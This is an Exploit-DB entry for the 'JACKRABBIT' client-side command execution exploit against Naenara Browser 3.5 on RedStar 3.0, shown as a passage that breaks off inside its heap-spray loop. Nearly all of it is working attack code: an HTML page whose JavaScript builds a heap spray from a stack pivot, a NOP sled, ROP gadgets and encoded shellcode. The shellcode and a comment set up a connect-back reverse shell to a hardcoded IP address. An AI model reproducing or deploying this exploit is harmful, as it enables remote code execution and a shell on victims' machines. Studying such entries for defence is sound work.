Exploit-DB #40936
Description: Naenara Browser 3.5 (RedStar 3.0 Desktop) - 'JACKRABBIT' Client-Side Command Execution
Type: local
Platform: linux
Date: 2016-12-18
Author: Hacker Fantastic

Exploit:
<!-- 
Download: https://github.com/HackerFantastic/Public/blob/master/exploits/jackrabbit.tgz
Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40936.tgz
-->

<html>
<head>
<div id="content">
<p>
<FONT>
</FONT>
</p>
<p>
<FONT>n0m3rcYn0M3rCyn0m3Rc</FONT></p>
<p>
<FONT>N0MeRCYn0m3rCyn0m3rCyn0m</FONT>
</p>
<p>
<FONT>n0MERCypDK  </FONT>
</p>
</div>
<script language="JavaScript">
var xunescape = unescape;
oneblock = xunescape("%u0040%u1000");
stackpivot = xunescape("%u6885%u0805%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u5a91%u0805%u4141%u4141");
nopsled = xunescape("%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568"); 

ropgadget = xunescape("%udc08%u0490%ua408%u04bd%u0008%u0200%u0000%u0f00%u0700%u0000%u2200%u0000%u0000%u0000%u0000%u0000%uec00%u0491%u0008%u0200%u0000%u0200%uc100%u10e3%u0040%u0010%u0000%u0200%u9000")

<!-- connect back ("192.168.0.10,80")  ffff = port, 01020304 = ipaddr "%udc08%u0490%ua408%u04bd%u0008%u0200%u0000%u0f00%u0700%u0000%u2200%u0000%u0000%u0000%u0000%u0000%uec00%u0491%u0008%u0200%u0000%u0200%uc100%u10e3%u0040%u0010%u0000%u0200%u9000%u9090%u9090%u9090%u9090%u9090%u3190%u53db%u5343%u026a%u666a%u8958%ucde1%u9380%ub059%ucd3f%u4980%uf979%u5a5b%u0168%u0302%u6604%uff68%u43ff%u5366%ue189%u66b0%u5150%u8953%u43e1%u80cd%u6852%u2f2f%u6873%u2f68%u6962%u896e%u52e3%u8953%ub0e1%ucd0b%u0080%u6568%u7061%u6120%u6464%u3a72%u2520%u3830%u0a78%u7200%u6e75%u696e%u676e%u6620%u6f72%u206d%u6568%u2061" -->

shellcode = xunescape("%u9090%u9090%u9090%u9090%u9090%u3190%u53db%u5343%u026a%u666a%u8958%ucde1%u9380%ub059%ucd3f%u4980%uf979%u5a5b%uc068%u00a8%u660a%u0068%u4350%u5366%ue189%u66b0%u5150%u8953%u43e1%u80cd%u6852%u2f2f%u6873%u2f68%u6962%u896e%u52e3%u8953%ub0e1%ucd0b%u0080%u6568%u7061%u6120%u6464%u3a72%u2520%u3830%u0a78%u7200%u6e75%u696e%u676e%u6620%u6f72%u206d%u6568%u2061");


var fullblock = oneblock; 
while (fullblock.length < 393216)
{
  fullblock += fullblock;
}

var sprayContainer = new Array();
var sprayready = false;
var sprayContainerIndex = 0;

function fill_function()
{
  if(! sprayready) {
    for (xi=0; xi<800/100; xi++, sprayContainerIndex++)
    {
      sprayContainer[sprayContainerIndex] = fullblock + stackpivot + oneblock + nopsled  + nopsled  + nopsled  + nopsled  + nopsled  + nopsled  + nopsled  + nopsled + nopsled + nopsled  + nopsled  + nopsled + nopsled  + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nop